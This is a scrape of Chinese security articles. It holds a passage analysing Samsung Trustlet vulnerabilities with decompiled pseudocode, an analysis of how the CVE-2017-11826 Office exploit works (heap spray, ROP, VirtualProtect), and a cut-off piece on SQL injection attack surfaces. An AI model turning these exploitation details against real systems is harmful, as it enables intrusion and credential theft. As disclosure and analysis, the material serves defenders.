1. OPENSWCONN / CLOSESWCONN不需要权限；
2. 对于命令2（COMM），tlc_server将使用SEAMS来验证调用者的权限；
3. 命令3（COMM_VIA_ASHMEM）不会进行验证。
由此，我们已经发现了一个身份验证绕过漏洞，通过使用命令3，而不是命令2，使费特权进程可以打开到某个Trustlet的会话，并发送任意命令。
除了这一利用方式之外，命令3的也被用于实现缓冲区溢出，原因在于其允许sendlen和recvlen为负值。在Gal
Beniamini报告这一漏洞后，这一点已经得到解决，但修复是不完整的。问题在于，共享内存总会被映射为sendlen的大小，但在将命令发送到Trustlet之后，会使用recvlen将结果写入映射的区域。针对sendlen和recvlen，会验证是否符合0
< len <
max_len，但不会检查sendlen是否严格大于recvlen。由于该区域被映射，所以必须要跨越页的边界才能导致缓冲区溢出。实际上这是可行的，因为最大允许长度为4416，会被映射2页，而在sendlen
< 0x1000的情况下则为1页。
通常情况下，tlc_server不会直接执行其他任何映射操作，因此对这个漏洞的利用看起来非常具有挑战性。coax
tlc_server分配这样的大小是可能的，分配器将会为它们进行映射。实际上，我还没有深入考虑这一种利用方式，因为我希望尝试一些其他的漏洞利用。
## ESECOMM Trustlet介绍
接下来，我们看看ESECOMM
Trustlet。这个Trustlet实现了一个eSE（嵌入式安全元件）的借口，这二者的通信基于ISO7816标准。Trustlet使用SEC_SPI安全驱动程序通过SPI与eSE通信。通过查看Linux内核源代码，我们发现还有一个Linux内核驱动程序（请查看/drivers/spi/spi-s3c64xx.c）。我认为，这是针对将接口直接暴露给安卓的设备版本。无论哪种情况，这段代码解释了内存映射的输入输出，并帮我们理解Trustlet的实际作用。
对我们来说，最重要的是，Trustlet实施“SCP03全平台安全通道协议”。它使用基于APDU的协议来设置密码信息（Diffie-Hellman密钥）以创建安全通道。请注意，在这种情况下，与Trustlet通信的不安全世界客户端使用主密钥，我们会直接提供私钥。
当对ESECOMM Trustlet进行逆向工程时，有一个“非常嫌疑犯”向我们提供了有力的帮助。
1. 协助我们标记tlApi调用。
2. 三星在日志消息中有使用原始函数名称的习惯。例如：
snprintf(logbuffer, 119, "Enter %s", "process_SCPHandleApduResponse");
logbuffer[119] = 0;
tlApiLogPrintf_0("%sn", logbuffer);
if ( !state_ )
{
snprintf(logbuffer, 119, "%s:%d :: Error, %sn", "process_SCPHandleApduResponse");
logbuffer[119] = 0;
tlApiLogPrintf_0("%sn", logbuffer);
JUMPOUT(&locret_AD5E);
}
3. 通过/proc/sec_log中的adb Shell读取这些日志。
## SVE-2017-8889：ESECOMM Trustlet栈缓冲区溢出
所有与SCP有关的命令，都是TLV编码的APDU。有一个实用程序函数用于解析TLV：
int __fastcall parse_tlvs_from_APDU(parsed_tlvs_t *out_apdus, char *in_buf, int start_offset, int total_length)
{
parsed_tlvs_t *parsed_tlvs_t; // r4
char *in_buf_; // r8
int total_length_; // r7
int offset; // r5
int i; // r6
tlv_t *tlv_obj; // r0
int ret; // r0
parsed_tlvs_t = out_apdus;
in_buf_ = in_buf;
total_length_ = total_length;
offset = start_offset;
if ( out_apdus && out_apdus->num_slots_used ) //
// so this is basically an array of TLV
// objects that we parse out.
//
// a TLV instance always point to a tag object
// also, which is its kind basically.
{
for ( i = 0; parsed_tlvs_t->num_slots_used > i; ++i )
free_tlv_obj(parsed_tlvs_t->tlv_array[i]);
}
parsed_tlvs_t->num_slots_used = 0;
while ( 1 )
{
tlv_obj = create_TLV_obj_wrap(in_buf_, offset, total_length_);// checks apdu len, but nothing about destination length
if ( !tlv_obj )
break;
parsed_tlvs_t->tlv_array[parsed_tlvs_t->num_slots_used++] = tlv_obj;
offset += get_apdu_len(tlv_obj);
if ( offset == total_length_ ) //
// we have parsed everything, return.
{
ret = parsed_tlvs_t->num_slots_used;
JUMPOUT(&return_);
}
}
JUMPOUT(&return_);
}
函数自身会进行一些检查，来确保TLV是合法的：
1. 解析会在到达total_length时停止；
2. 每个解析的TLV会被验证，要求不能大于total_length的长度，也不能大于0x400。
然而，这里却存在一个问题：并没有对TLV的数量检查，假如TLV的数量过多，那么解析出来的结构就会完全覆盖数组out_apdus。
使用的结构定义如下：
00000000 tlv_t struc ; (sizeof=0x413, mappedto_34)
00000000 filled DCB ?
00000001 multiple_tlvs_for_tag DCB ?
00000002 fill_1 DCB ?
00000003 fill_2 DCB ?
00000004 tag_obj_ptr DCD ? ; offset
00000008 len_field_len DCB ?
00000009 fill_3 DCB ?
0000000A fill_4 DCB ?
0000000B fill_5 DCB ?
0000000C tlv_length DCD ?
00000010 tlv_value_OR_num_extra_tlvs DCB ?
00000011 fill_6 DCB ?
00000012 fill_7 DCB ?
00000013 fill_8 DCB ?
00000014 next_tlv_ptrs_array DCB 1023 dup(?)
00000413 tlv_t ends
00000413
00000000 ; --------------------------------------------------------------------------- 00000000
00000000 parsed_tlvs_t struc ; (sizeof=0x44, mappedto_33)
00000000 tlv_array DCD 16 dup(?) ; this is an array of 16 tlv objects
00000040 num_slots_used DCD
00000044 parsed_tlvs_t ends
换句话说，parsed_tlvs_t最多只能容纳16个TLV对象。如果APDU中有超过16个TLV，解析将会导致缓冲区溢出。
这个漏洞可以由多个调用者触发：
parse_ca_cert
parse_scp_param
process_SCPHandleApduResponse
process_SCP11bHandleApduResponse
process_SCP11bDhHandleApduResponse
除parse_scp_param以外，所有名称都是基于二进制文件中字符串的原始函数名称。对于parse_scp_param，这是首先从process_ConstructSecureChannel调用的解析函数。
所有的路径都会存在同样的问题。例如，对于parse_ca_cert()，输出结构parsed_tlvs_t被分配在栈上，这意味着可以触发栈缓冲区溢出。
## SVE-2017-8890：ESECOMM Trustlet越界读取内存
parse_tlvs_from_APDU存在的另一个问题，是它对于TLV解析不会在输入缓冲区结束时运行的保证是不充分的。从上面的伪代码中可以看到，只会对偏移量是否等于总长度进行检查。然而，每个TLV的长度都可能会增加1或多个字节，这就意味着total_length的值可以一直增加下去，解析也不会终止，从而导致读取缓冲区不足。事实上，触发该漏洞是非常容易的，即使在发送内容只有一些0的情况下，也能够导致Trustlet崩溃。
## SVE-2017-8891：ESECOMM Trustlet栈缓冲区溢出
之前的栈缓冲区溢出漏洞并不是最方便的利用方式，因为我们借助该漏洞并不能直接控制要写入的内容。幸运的是，还有一个更方便的漏洞。
这一漏洞位于函数parse_ca_cert()中。
漏洞原因非常简单：在处理process_ScpInstallCaCert命令时，首先在APDU中发送的CA会被解析。其中应该会有几个字段，首先是CA的ID（tag
0x42）。一旦TLV被解析，CA ID的值就会从TLV结构复制到32字节的本地栈变量中。
由于没有进行任何长度检查，APDU TLV解析自身包含的检查只会确保TLV不会大于0x400字节，所以就可以将有效载荷放在输入之中，从而导致栈BOF被利用。
signed int __fastcall parse_ca_cert(char *msg_payload, int total_req_payload_len, void *caid, int *caid_len, char *curveid, void *pubkey_buf, int *pubkey_buf_len)
{
//(…)
v7 = msg_payload;
total_req_payload_len_ = total_req_payload_len;
caid_ = caid;
v10 = caid_len;
v11 = -1;
memset_to_0(&out_buf, 0x44u);
if ( parse_tlvs_from_APDU(&out_buf, v7, 0, total_req_payload_len_) < 0 )
{
snprintf(logbuffer, 119, "%s:%d :: Error, %sn", "parse_ca_cert", 73, "failed to parse TLV");
logbuffer[119] = 0;
tlApiLogPrintf_0("%sn", logbuffer);
return 3;
}
tlv_caid = find_tlv_obj_in_parsed_tlvs(&out_buf, (char *)&caid_tag_value);
tlv_caid_ = tlv_caid;
if ( tlv_caid )
{
memcpy_w(caid_, &tlv_caid->tlv_value_OR_num_extra_tlvs, tlv_caid->tlv_length);
具有漏洞的目标缓冲区，位于parse_ca_cert调用者的栈上：
signed int __fastcall process_ScpInstallCaCert(tci_msg_add_ca_payload_t *reqmsg, tci_rsp_payload_t *rspmsg)
{
tci_msg_add_ca_payload_t *reqmsg_; // r4@1
tci_rsp_payload_t *rspmsg_; // r5@1
char *reqmsg_payload_; // r7@1
signed int result; // r0@2
char pubkey[512]; // [sp+Ch] [bp-244h]@2
char caid[32]; // [sp+20Ch] [bp-44h]@2
char curveid; // [sp+22Ch] [bp-24h]@2
int pubkey_len; // [sp+230h] [bp-20h]@2
unsigned int caid_len; // [sp+234h] [bp-1Ch]@2
reqmsg_ = reqmsg;
rspmsg_ = rspmsg;
reqmsg_payload_ = reqmsg->payload;
if ( validate_input_len(reqmsg->payload, reqmsg->total_len, reqmsg->payload, (char *)&reqmsg->total_len) )
//ONLY verifies the total input len, not related to TLV lengths
{
result = parse_ca_cert(reqmsg_payload_, reqmsg_->total_len, caid, (int *)&caid_len, &curveid, pubkey, &pubkey_len);
(…)
为了保证完整性，以下是非常易读的validate_input_len：
BOOL __fastcall validate_input_len(BOOL payload_start__, unsigned int len, char *payload_start_, char *payload_end)
{
if ( payload_start__ )
payload_start__ = payload_start_ <= payload_end
&& payload_start__ >= payload_start_
&& payload_end >= payload_start__
&& payload_end >= len
&& &payload_end[-len] >= payload_start__;
return payload_start__;
}
## SVE-2017-8892：ESECOMM Trustlet栈缓冲区溢出
ESECOMM
Trustlet的下一个漏洞出现在函数parse_scp_param中。该函数被process_ConstructSecureChannel()的CMD_TZ_SCP_ConstructSecureChannel命令的处理程序调用。
这一漏洞与CA
ID漏洞非常相似：在处理CMD_TZ_SCP_ConstructSecureChannel命令时，包含着建立安全通道所需加密参数的APDU首先被解析。输出被解析成以下格式：
00000000 scp_t struc ; (sizeof=0x110, mappedto_36)
00000000 protocol DCB ?
00000001 key_id DCB ?
00000002 key_version DCB ?
00000003 key_usage DCB ?
00000004 key_length DCB ?
00000005 key_type DCB ?
00000007 field_7 DCB ?
00000008 dh_p DCB 252 dup(?)
00000104 field_104 DCD ?
00000108 dh_P_len DCD ?
0000010C dh_G DCB ?
0000010D field_10D DCB ?
0000010E field_10E DCB ?
0000010F field_10F DCB ?
00000110 scp_t ends
在process_ConstructSecureChannel，该结构在栈上被实例化：
signed int __fastcall process_ConstructSecureChannel(int unk_type, tci_msg_payload_t *reqmsg, tci_rsp_payload_t *respmsg)
{
tci_msg_payload_t *reqmsg_; // r6
tci_rsp_payload_t *respmsg_; // r7
int protocol_type; // r10
char *reqmsg_payload; // r11
int calling_uid; // r9
char *v8; // r3
state_t *v9; // r8
char *v10; // r3
state_t *state; // r8
signed int v13; // r0
signed int v14; // r4
scp_t parsed_scp; // [sp+8h] [bp-138h]
reqmsg_ = reqmsg;
respmsg_ = respmsg;
protocol_type = unk_type;
reqmsg_payload = reqmsg->payload;
if ( !validate_input_len(reqmsg_payload, reqmsg->total_len, reqmsg_payload, &reqmsg[1])//
|| !validate_input_len(respmsg_->payload, respmsg_->total_len, respmsg_->payload, &respmsg_[1]) )
{
goto LABEL_6;
}
scp_state_dump("construct secure channel");
calling_uid = reqmsg_->calling_uid;
v9 = get_current_state(reqmsg_->calling_uid);
if ( v9 )
{
snprintf(logbuffer, 119, "cleanup existing state", v8);
logbuffer[119] = 0;
tlApiLogPrintf_0("%sn", logbuffer);
free_scp_state(v9);
scp_state_dump("construct secure channel, cleaned ongoing channel for callinguid");
}
hex_print_value("parsing scp_param", reqmsg_payload, reqmsg_->total_len);
if ( parse_scp_param(reqmsg_payload, reqmsg_->total_len, &parsed_scp) )
为此，必须存在多个标签，如下面parse_scp_param反编译后的伪代码所示：
signed int __fastcall parse_scp_param(char *input_payload, int total_length, scp_t *parsed_scp)
{
char *input_payload_; // r8@1
int total_length_; // r9@1
scp_t *parsed_scp_; // r4@1
signed int v6; // r5@1
signed int v7; // r0@4
const char *v8; // r1@4
tlv_t *v10; // r0@8
tlv_t *v11; // r0@9
tlv_t *v12; // r0@10
tlv_t *v13; // r0@11
tlv_t *v14; // r0@12
tlv_t *v15; // r0@13
int v16; // r0@14
signed int v17; // r0@17
const char *v18; // r1@17
tlv_t *dh_tlv; // r0@23
tlv_t *dh_tlv_; // r8@23
tlv_t *v21; // r0@24
tlv_t *v22; // r0@16
int i; // r4@31
parsed_tlvs_t parsed_apdus; // [sp+8h] [bp-60h]@1
input_payload_ = input_payload;
total_length_ = total_length;
parsed_scp_ = parsed_scp;
memset_to_0(&parsed_apdus, 68u);
v6 = 0;
if ( !input_payload_ || !parsed_scp_ )
{
v7 = 43;
v8 = "invalid parameter";
goto LABEL_5;
}
memset_to_0(parsed_scp_, 272u);
if ( parse_tlvs_from_APDU(&parsed_apdus, input_payload_, 0, total_length_) < 0 )
{
v7 = 47;
v8 = "bad apdu";
LABEL_5:
snprintf(logbuffer, 119, "%s:%d :: Error, %sn", 325987, v7, v8);
logbuffer[119] = 0;
tlApiLogPrintf_0((const char *)&loc_10F20, logbuffer);
return 4;
}
v10 = find_tlv_obj_in_parsed_tlvs(&parsed_apdus, scp_param_tag_values);
if ( !v10 )
{
v17 = 50;
v18 = "can't find protocol";
goto FAIL;
}
parsed_scp_->protocol = v10->tlv_value_OR_num_extra_tlvs;
v11 = find_tlv_obj_in_parsed_tlvs(&parsed_apdus, &scp_param_tag_values[1]);
if ( !v11 )
{
v17 = 54;
v18 = "can't find key-id";
goto FAIL;
}
parsed_scp_->key_id = v11->tlv_value_OR_num_extra_tlvs;
v12 = find_tlv_obj_in_parsed_tlvs(&parsed_apdus, &scp_param_tag_values[2]);
if ( !v12 )
{
v17 = 58;
v18 = "can't find key-version";
goto FAIL;
}
parsed_scp_->key_version = v12->tlv_value_OR_num_extra_tlvs;
v13 = find_tlv_obj_in_parsed_tlvs(&parsed_apdus, &scp_param_tag_values[3]);
if ( !v13 )
{
v17 = 62;
v18 = "can't find key-usage";
goto FAIL;
}
parsed_scp_->key_usage = v13->tlv_value_OR_num_extra_tlvs;
v14 = find_tlv_obj_in_parsed_tlvs(&parsed_apdus, &scp_param_tag_values[9]);
if ( !v14 )
{
v17 = 66;
v18 = "can't find key-length";
goto FAIL;
}
parsed_scp_->key_length = v14->tlv_value_OR_num_extra_tlvs;
v15 = find_tlv_obj_in_parsed_tlvs(&parsed_apdus, &scp_param_tag_values[5]);
if ( !v15 )
{
v17 = 70;
v18 = "can't find key-type";
goto FAIL;
}
v16 = (unsigned __int8)v15->tlv_value_OR_num_extra_tlvs;
parsed_scp_->key_type = v16;
if ( v16 == 0x89 )
{
dh_tlv = find_tlv_obj_in_parsed_tlvs(&parsed_apdus, &scp_param_tag_values[7]);
dh_tlv_ = dh_tlv;
if ( !dh_tlv )
{
v17 = 76;
v18 = "can't find dh param (p)";
goto FAIL;
}
memcpy((_DWORD *)parsed_scp_->dh_p, (int *)&dh_tlv->tlv_value_OR_num_extra_tlvs, dh_tlv->tlv_length);
// so this is straight up copying the dh param TLV value,
// using the L from the TLV.
//
// there is a max length check on this, but it is not sufficient:
// - check against 1024 AND
// - check against input length (max 512)
//
// but the stack buffer copied into is less than 300 bytes long.
## SVE-2017-8893：ESECOMM Trustlet任意写入
与之前的几个漏洞不同，该漏洞无法在不提权的情况下直接利用。其原因在于，tlc_server自身增加了一个格式化（Sanitization）步骤。
然而，只要攻击者能够使用/dev/mobicore接口（借助任何一个有权限的系统进程，例如[@oldfresher](https://github.com/oldfresher
"@oldfresher")曾尝试过的远程利用链）就可以触发内存损坏漏洞。
漏洞的产生原因在于，使用了TCI缓冲区来确定请求缓冲区和相应缓冲区的范围。通常情况下，TCI缓冲区会被如下格式的头部填充：
00000000 tcibuf_hdr struc ; (sizeof=0x219, mappedto_27)
00000000 id DCD ?
00000004 calling_uid DCD ?
00000008 envelope_len DCD ?
0000000C status DCD ?
00000010 tcimsg_payload tci_msg_payload_t ?
00000219 tcibuf_hdr ends
字段envelope_len用于确定响应消息部分开始的缓冲区内偏移量。在通过tlc_server进行通信后，我们实际上使用的是libtlc_direct_comm.so，并且正确设置了这个字段：
__int64 __fastcall direct_comm_ctx::comm_request(direct_comm_ctx *this)
{
direct_comm_impl_t *direct_comm_impl; // x8
unsigned int v2; // w19
__int64 TCI_buf_addr; // x9
__int64 v4; // x21
bool v5; // zf
const char *v6; // x2
unsigned int max_recvmsg_size; // w20
unsigned int v8; // w0
direct_comm_impl = (direct_comm_impl_t *)*((_QWORD *)this + 1);
v2 = 65542;
if ( !direct_comm_impl )
{
v6 = "direct comm_request: NULL implementation pointer";
goto LABEL_9;
}
TCI_buf_addr = direct_comm_impl->TCI_buf_addr;// ?????
v4 = direct_comm_impl->unk_must_be_zero;
if ( TCI_buf_addr )
v5 = v4 == 0;
else
v5 = 1;
if ( v5 )
{
v6 = "tlc_request: NULL pointer data";
LABEL_9:
__android_log_print(6LL, "TZ: mc_tlc_communication", v6);
return v2;
}
max_recvmsg_size = direct_comm_impl->max_recvmsg_size;
*(_DWORD *)(TCI_buf_addr + 8) = direct_comm_impl->max_sendmsg_size; // can't set to arbitrary when used via tlc_server
v8 = tlc_communicate((__int64)&direct_comm_impl->device_id);
然而，如果我们可以写入WSM，然后触发通知命令，而不通过tlc_server到达Trustlet，那么envelope_len就能被任意定义。
其中的问题在于，我见过的很多Trustlet代码直接就信任了这个字段。以下ESECOMM
Trustlet入口点的代码片段展现了从不安全世界处理输入内容的起始过程：
void __fastcall Main(_DWORD *tciBuf, unsigned int tciBufLen)
{
tcibuf_hdr *tciBuf_; // r6@1
unsigned int tciBufLen_; // r9@1
char *logbuffer_; // r5@4
tcibuf_hdr *respmsg; // r7@5
_BYTE *logbuffer_end; // r5@5
int envelope_len; // ST00_4@5
int cmd_id; // r8@5
int ret_val; // r10@7
_BYTE *logbuffer_end_; // r5@7
tciBuf_ = (tcibuf_hdr *)tciBuf;
tciBufLen_ = tciBufLen;
if ( !tciBuf || tciBufLen < 4397 )
{
((void (__fastcall *)(signed int, signed int))stru_1000.lib_addr)(4, -1);// tlApiExit()
JUMPOUT(&stru_1000);
}
snprintf(logbuffer, 119, "TL_TZ_ESECOMM: tciBufferLen = %d = 0x%x", tciBufLen, tciBufLen);
logbuffer_ = logbuffer;
logbuffer[119] = 0;
tlApiLogPrintf_0((const char *)&off_7364, logbuffer);
snprintf(logbuffer, 119, "Trustlet TL_TZ_ESECOMM: Starting");
logbuffer[119] = 0;
tlApiLogPrintf_0((const char *)&off_7364, logbuffer);
while ( 1 )
{
tlApiWaitNotification(-1);
respmsg = (tcibuf_hdr *)((char *)tciBuf_ + tciBuf_->envelope_len);
// tciBuf__[2] is the max_sendmsg_size ... NORMALLY
// but, if the command header is malformed,
// respmsg can become an arbitrary pointer
snprintf(logbuffer, 119, "TL_TZ_ESECOMM: tciBufferLen = %d = 0x%x", tciBufLen_, tciBufLen_);
logbuffer_[119] = 0;
logbuffer_end = logbuffer_ + 119;
tlApiLogPrintf_0((const char *)&off_7364, logbuffer);
envelope_len = tciBuf_->envelope_len;
snprintf(logbuffer, 119, "TL_TZ_ESECOMM: sendmsg envelope length = %d = 0x%x");
*logbuffer_end = 0;
tlApiLogPrintf_0((const char *)&off_7364, logbuffer);
snprintf(logbuffer, 119, "TL_TZ_ESECOMM: sendmsg = %p, respmsg = %p", tciBuf_, respmsg);
*logbuffer_end = 0;
tlApiLogPrintf_0((const char *)&off_7364, logbuffer);
cmd_id = tciBuf_->id;
snprintf(logbuffer, 119, "Trustlet TL_TZ_ESECOMM: Got a message!");
*logbuffer_end = 0;
logbuffer_ = logbuffer_end - 119;
tlApiLogPrintf_0((const char *)&off_7364, logbuffer);
if ( cmd_id >= 0 )
{
snprintf(logbuffer, 119, "TZ_ESECOMM: we got a command");
logbuffer_[119] = 0;
tlApiLogPrintf_0((const char *)&off_7364, logbuffer);
ret_val = process_cmd((int)esecomm_cxt_something, cmd_id, tciBuf_, (char *)respmsg);
respmsg->id = cmd_id | 0x80000000;
// respmsg address is completely controlled!
在Main中存在一个问题，无论命令处理是成功还是失败，响应值都会被写入到respmsg指针，在envelope_len被控制时，该指针可以是任意地址。
但不巧的是，对respmsg的写入在process_cmd内部的逻辑中也是重复的。发现很多代码路径都包含对respmsg有效载荷长度的检查，但实际上这里也是存在问题的。这些检查，会验证由respmsg字段指示的有效载荷长度是否符合给定命令类型的respmsg的预期大小。然而，Main中的初始respmsg分配可能已经指向了某个任意地址，因此该检查是没有意义的。
其中的一些，将会被tciBufLen >
envelope_len检查覆盖，但并不是完全覆盖，因为在大多数情况下，respmsg的起始部分都采用写入的方式。最经典的例子是在process_DECRYPT：
int __fastcall process_cmd_decrypt(void *esecomm_cxt, char *reqmsg, char *rspmsg)
{
(…)
reqmsg_ = reqmsg;
rspmsg_ = rspmsg;
(…)
snprintf(logbuffer, 119, "TL_TZ_ESECOMM: process_DECRYPT: entering");
logbuffer[119] = 0;
tlApiLogPrintf_0((const char *)&loc_89EC, logbuffer);
*(_DWORD *)rspmsg_ = 10;
*((_WORD *)rspmsg_ + 2) = 255;
*(_DWORD *)(rspmsg_ + 4362) = 0;
(...)
所以，假如在Main()中增加了一个检查，那么它必须要知道respmsg正确的最大偏移量，这个偏移量可以被任何命令处理写入，并且会确保envelope_len永远不会过大。
## SVE-2017-8893：为什么没有竞争条件？
在研究过程中，我们可能会有这样的一个思路：即使没有提升权限，我们也可以按照自己的需要写入TCI缓冲区，将Binder调用到tlc_server，然后调用tlc_communicate()来触发到Trustlet的通知，并在Trustlet世纪获取到安全世界内的运行计划之前，重写（修正后的）envelope_len。
事实证明，这一思路是错误的。其原因在于，当使用COMM_VIA_ASHMEM时，tlc_server中的binder_handler()在我们的命令中实际上是mmap，然后会从映射的缓冲区复制到独立的TCI缓冲区。也就是说，我们从来没有真正地直接访问TCI缓冲区。这也就意味着，tlc_server无法满足它在多个客户端之间多路复用（Multiplexing）的基本目标，仍然是使用ESECOMM
Trustlet的单个开放Session（也就是单个TCI WSM）。
## 接下来的计划
接下来，我将对其他一些漏洞进行详细分析，特别是：
SVE-2017-9008：CCM Trustlet整数溢出
SVE-2017-9009：CCM Trustlet整数溢出
SVE-2017-10638：CCM Trustlet会话劫持漏洞
SVE-2017-8973：TIMA驱动程序缓冲区溢出
SVE-2017-8974：TIMA驱动程序竞争条件漏洞
SVE-2017-8975：TIMA驱动程序竞争条件漏洞
TIMA驱动程序信息泄漏导致KASLR绕过
敬请期待！ | 社区文章 |
# 【技术分享】对СVE-2017-11826漏洞利用程序的分析
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/analyzing-an-exploit-for-%D1%81ve-2017-11826/82869/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：80RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
在最近的周二补丁日（10月17日）中，微软发布了62个漏洞补丁，其中有个补丁负责修复[СVE-2017-11826](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11826)漏洞。СVE-2017-11826漏洞是一个非常严重的零日（zero-day）漏洞，攻击者可借此实施[针对性攻击行动](http://360coresec.blogspot.ru/2017/10/new-office-0day-cve-2017-11826.html)，所有版本的Microsoft Office软件都会受此漏洞影响。
**二、技术分析**
攻击者所使用的漏洞利用程序为一个RTF文档，其中包含一个DOCX文档，DOCX文档负责利用Office Open
XML解析器中存在的СVE-2017-11826漏洞。
漏洞利用载荷本身为 **word/document.xml** 格式，如下所示：
根据Office Open XML文件格式标准（[ECMA-376](https://msdn.microsoft.com/en-us/library/550b1b15-91c2-49c0-a787-cdbd9e40f517)）中的描述，“font”元素用来描述文档中使用的字体，正常的“font”元素如下所示：
在漏洞利用载荷中，并没有出现 **< /w:font>**这个闭合标签。紧跟在 **< w:font>**标签之后的是 **<
o:idmap/>**对象元素，这种情况会导致OOXML解析器出现“类型混淆（type
confusion）”现象。使用任何对象元素都可以成功利用这个漏洞。在漏洞利用点之前，我们必须通过某个检查步骤，具体方法是在 **<
w:font>**标签之前设立一个OLEObject元素，其中的name属性值从UTF-8编码转换为Unicode编码后长度必须大于或等于32个字节。
从UTF-8编码转换为Unicode编码后，E8 A3 AC E0 A2 80会变成EC 88 88 08。
如果这些条件全部满足，这个指针会被解除引用，控制流程会移交给“该地址+4”处所对应的内容。
如果想控制0x088888EC地址处的内存内容，攻击者需要将常见的[堆喷射（heap
spraying）](https://en.wikipedia.org/wiki/Heap_spraying)技术与ActiveX组件结合使用。
漏洞利用程序使用msvbvm60.dll中的ROP以及gadget（指令代码）来绕过[ASLR（地址空间布局随机化）](https://en.wikipedia.org/wiki/Address_space_layout_randomization)以及[DEP（数据执行保护）](https://support.microsoft.com/en-us/help/875352/a-detailed-description-of-the-data-execution-prevention-dep-feature-in)机制。RTF文档会使用与msvbvm60.dll文件相关联的CLSID来加载这个DLL模块。
ROP的第一部分功能是设置ESP寄存器的值：
ROP的第二部分内容会被忽略掉，其作用是将EIP寄存器设置为0x088883EC。最后的“pop eax;
retn”指令会将0x729410D0地址填充到EAX中。这个地址是msvbvm60.dll导入（Imports）表中VirtualProtect指针所对应的地址（VirtualProtect位于Kernel32.dll中）。
下一个ROP gadget会使用这个VirtualProtect指针来调用 **VirtualProtect** (0x8888C90, 0x201,
0x40,
0x72A4C045)函数。执行这个操作后，程序控制权会移交给0x8888F70地址处的shellcode，这段shellcode会解密并执行内嵌的DLL：
**三、附录**
卡巴斯基实验室安全解决方案将СVE-2017-11826漏洞利用程序标记为：
**MSWord.Agent.ix**
**MSOffice.CVE-2017-11826.a**
**HEUR:Exploit.MSOffice.Generic**
对应的IOC为：
cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 | 社区文章 |
# 现代web服务为SQL注入提供的攻击面 随谈
## 序言
现代化的web服务对比传统的web服务，增加了许多新的功能和特性，在这种情况下，数据库所存储的内容、与数据库交互的代码也发生了改变，同时也增加了许多攻击面。
本文将结合实际情况，谈谈现代化web服务可能暴露的一些SQLi攻击面和利用手段。
## 关于传统SQLi攻击面
传统注入中，SQLi只用来做几件事：读web账号密码`SELECT ... FROM
admin`、伪造账号密码`'or'='or'`、读root提权`SELECT ... FROM mysql.user`、写shell`SELECT ...
INTO_OUTFILE ...`，但随着web业务需求和硬性标准的实施，SQLi已经不局限于这些简单的操作了，具体的业务情况也发生了变化。
## 实际现代SQLi攻击面
### 由加密传输引发的
传输与存储密文一致，指的是传输过程中提交给服务器的密文，与数据库内存储的密文一致，对于密码而言，尽管并不是明文存储，但攻击者可能并不需要获取明文。
笔者从事属于半标准性质的工作，依符合性评测而言，web 传输的内容应该进行加密，也就是我们的账号和密码不应该是明文传输，明文传输情况如下图所示：
而标准化的内容传输，如下图所示：
对于明文传输，准确的解决方案应该是前端做处理，然后后端再做处理，再与数据库内容进行匹配，如下图所示：
但再实际情况中，我们遇到了许多错误的解决方案：前端做处理后，直接与数据库内容进行匹配，如下图所示：
在传统的SQLi中，前端传输的一般是明文，而后端对明文进行处理，再与数据库进行匹配，攻击者获取到密文后需要进一步进行解密。
而这种问题的存在，将使得攻击者获取到数据库内加密的密码之后，不需要进行解密即可进行登陆操作。
### 由操作记录引发的
依据符合性评测相关要求，管理系统应当具备日志功能，以记录 操作人 / 被操作功能 / 操作时间 等信息，如下图所示：
操作记录在数据库中的存在，SQLi至少可以有两个攻击面：获取敏感地址(后台) 和 相关记录点注入(Referer/X-Forward-For)
，前者的影响一目了然，我们来看一下后者，下面是一个全局防护样例代码：
<?php
$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);
$_COOKIE && SafeFilter($_COOKIE);
function SafeFilter (&$arr)
{
if (is_array($arr))
{
foreach ($arr as $key =--> $value)
{
if (!is_array($value))
{
if (!get_magic_quotes_gpc()) //不对magic_quotes_gpc转义过的字符使用addslashes(),避免双重转义。
{
$value = addslashes($value); //给单引号（'）、双引号（"）、反斜线（\）与 NUL（NULL 字符）加上反斜线转义
}
$arr[$key] = htmlspecialchars($value,ENT_QUOTES); //&,",',> ,< 转为html实体 &,"',>,<
}
else
{
SafeFilter($arr[$key]);
}
}
}
}
?>
通用全局防护大多是针对GET、POST、request，少部分有针对Cookie字段的防护，而header的其他字段，在全局情况下几乎不存在，其中最常见写入数据库的头为`Referer`和`X-Forwarded-For`。
此外，在对这两个字段进行SQLi防护的情况下，往往还有XSS的可能。
**X-Forwarded-For**
：除了SQLi和ip伪造之外，在利用上我们还可以选择XSS来进行攻击。大部分在全局上针对的防护将优先对SQLi进行防护，而遗漏XSS问题。
**Referer** ：在代码限制上，`Referer`和`X-Forwarded-For`唯一不同的就是，`Referer`是必须是字符串，而`X-Forwarded-For`本身就是不允许为字符串情况出现，所以大部分开源cms都通过IPlong来进行限制。`Referer`因为考虑到是必须得字符串，所以很多在选择写入数据库时毫不犹豫的使用了安全转义或者预编译，从而忽略了XSS利用。
### 由凭证存储引发的
在传统的web服务中，登录凭证默认以文件形式存储，如PHPSESSION，随着业务的发展，大量文件形式的凭证将导致磁盘读写频繁和业务缓慢，因此凭证有被写到如redis这种缓存的，但也有存储到数据库中的：
以上为我们登陆后的sid，直接写入到了数据库，而我们进入通过的允许标识就是通过这种sid来判断是否具备权限，通过SQLi就可以获得sid，进而进行登录，这也是用户进行登陆后，没有进行退出而导致的。
有些案例更复杂，但本质类似，某cms审计文：
> 根据师傅们的指导和提示，发现phpcms在登录的时候会在v9_session表中执行replace into数据库操作，replace into 跟
> insert 功能类似，不同点在于replace into
> 首先尝试插入数据到表中，如果发现表中已经有此行数据（根据主键或者唯一索引判断）则先删除此行数据，然后插入新的数据，否则直接插入新数据。
>
进入该表审查发现，表中保存的便是会话PHPSESSION的值。
>
>
仔细看v9_session表中的列名和字段值，发现 pc_hash 也是存在该表中的，在进行后台登录的的时 候需要附带随机生成的 pc_hash
值，本来以为要进行枚举，后面发现直接在数据库中便可以取到。
>
>
因此整个登录后台的过程和操作便更加简单些，首先分析`phpcms_v9.6.2_UTF8\phpcms\modules\admin\index.php`中可以看到后台登录的一些验证过程，重点关注如下代码块，文件中的第89-102行，可以看到`$_SESSION['pc_hash']`生成方
法，还有cookie的生成方法：
>
>
